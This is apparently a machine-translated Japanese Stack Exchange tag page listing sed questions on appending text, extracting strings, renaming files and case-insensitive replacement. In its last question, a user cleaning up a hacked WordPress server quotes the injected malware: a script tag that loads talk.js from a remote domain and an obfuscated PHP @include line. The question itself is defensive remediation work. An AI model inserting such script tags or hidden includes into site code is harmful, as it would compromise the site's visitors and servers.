タグ付けされた質問 「sed」

Sed(Stream EDitor)は、POSIX環境用のコマンドラインエディターです。sedは、編集スクリプトに従って1つ以上のファイルを処理し、結果を標準出力に書き込みます。Bell Labsで作成され、70年代半ばから存在しています。

7
各行の終わりにテキストを追加します
Linuxコマンドラインを使用していて、 127.0.0.1 128.0.0.0 121.121.33.111 が欲しいです 127.0.0.1:80 128.0.0.0:80 121.121.33.111:80 同僚がそのためにsedを使用していたのを覚えていますが、sedのマニュアルを読んだ後でも、コマンドラインでそれを行う方法がはっきりしませんか?
90 sed 

8
grep、regex、またはperlを使用してパターンに従って文字列を抽出する方法
次のようなファイルがあります。 <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> 私は続く引用符で何かを抽出する必要がありname=、すなわち、content_analyzer、content_analyzer2とcontent_analyzer_items。 私はこれをLinuxボックスで行っているので、sed、perl、grep、またはbashを使用したソリューションで問題ありません。


13
sedを使用してファイルの名前を一括変更
目的 これらのファイル名を変更します。 F00001-0708-RG-biasliuyda F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl これらのファイル名に: F0001-0708-RG-biasliuyda F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl シェルコード テストする: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' 実行するには: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh 私の質問 sedのコードがわかりません。置換コマンドが何であるかを理解しています $ sed 's/something/mv' 手段。そして、正規表現はある程度理解できます。しかし、私はここで何が起こっているのか理解していません: \(.\).\(.*\) またはここ: & \1\2/ 前者は、私には、「単一の文字、単一の文字、単一の文字の任意の長さのシーケンス」を意味するように見えますが、確かにそれ以上のものがあります。後半まで: & \1\2/ 何も思いつきません。
89 bash  shell  sed  file-rename 

20
findとsedを使用してファイルの名前を再帰的に変更します
たくさんのディレクトリを調べて、_test.rbで終わるすべてのファイルの名前を_spec.rbで終わるように変更したいと思います。これは、bashの使い方がまったくわからなかったので、今回は、それを釘付けにするために少し努力したいと思いました。私はこれまでのところ不足していますが、私の最善の努力は次のとおりです。 find spec -name "*_test.rb" -exec echo mv {} `echo {} | sed s/test/spec/` \; 注意:execの後に余分なエコーがあるので、テスト中にコマンドを実行する代わりに出力します。 実行すると、一致した各ファイル名の出力は次のようになります。 mv original original つまり、sedによる置換は失われました。トリックは何ですか?
87 bash  scripting  sed  find  replace 

3
sedの「ホールドスペース」と「パターンスペース」の概念
sedの2つの概念であるホールドスペースとパターンスペースに混乱しています。誰かがそれらを説明するのを手伝ってもらえますか? マニュアルの抜粋は次のとおりです。 h H Copy/append pattern space to hold space. g G Copy/append hold space to pattern space. n N Read/append the next line of input into the pattern space. これらの6つのコマンドは本当に私を混乱させます。
86 linux  sed 

6
一致する行の後から始まるファイル内のすべての行を削除するにはどうすればよいですか?
数行のテキストで構成されるファイルがあります。 The first line The second line The third line The fourth line 次の行の1つである文字列があります。 The second line 私はそれが削除されますので、ファイル内の文字列とその後のすべての行を削除するThe third lineとThe fourth line、文字列に加えて。ファイルは次のようになります。 The first line 私はグーグルで解決策を探しました、そして私は使うべきであるようsedです。何かのようなもの: sed 'linenum,$d' file しかし、文字列の行番号を見つける方法は?または、他にどのようにすればよいですか?
84 linux  bash  sed 


8
大文字と小文字を区別しない検索とsedへの置き換え
SEDを使用してログファイルからテキストを抽出しようとしています。あまり問題なく検索と置換を行うことができます。 sed 's/foo/bar/' mylog.txt ただし、検索で大文字と小文字を区別しないようにします。私がグーグルで検索iしたところ、コマンドの最後に追加するとうまくいくようです。 sed 's/foo/bar/i' mylog.txt ただし、これによりエラーメッセージが表示されます。 sed: 1: "s/foo/bar/i": bad flag in substitute command: 'i' ここで何が問題になっていますか、どうすれば修正できますか?

11
特定のテキストファイルからすべての空白を削除する方法
特定のテキストファイルからすべての空白を削除したいと思います。これに使用できるシェルコマンドはありますか?または、sedこの目的での使用方法。 私は以下のようなものが欲しいです: $ cat hello.txt | sed...。 私はこれを試しました:。cat hello.txt | sed 's/ //g'しかし、それはタブではなくスペースだけを削除します。
81 linux  bash  sed 


7
sedまたはおそらくgrepを使用して文字列全体を置き換える方法
サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressベースで、私のサーバーでホストされているサイトの大部分はWordPressベースです。ハッカーはこのコード行をすべてのファイルとデータベースに追加しました <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 私は使用してgrepでそれを検索しました grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 私はそれをファイル構造全体で置き換えようとしています、sedそして私は次のコマンドを書きました。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php index.php最初に1 つのファイルの文字列を置き換えようとしているので、それが機能することがわかります。 そして、私は自分のコードが間違っていることを知っています。これで私を助けてください。 @Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語はこれです /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ そして、すべてのコンテンツを削除したいのですが、phpの開始タグを保持したいと思ってい<?phpます。 @slyblotyの解決策は簡単で、うまくいきましたが。 影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -スクリプト行を削除するには find . -type f …
10 bash  shell  sed  grep 
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.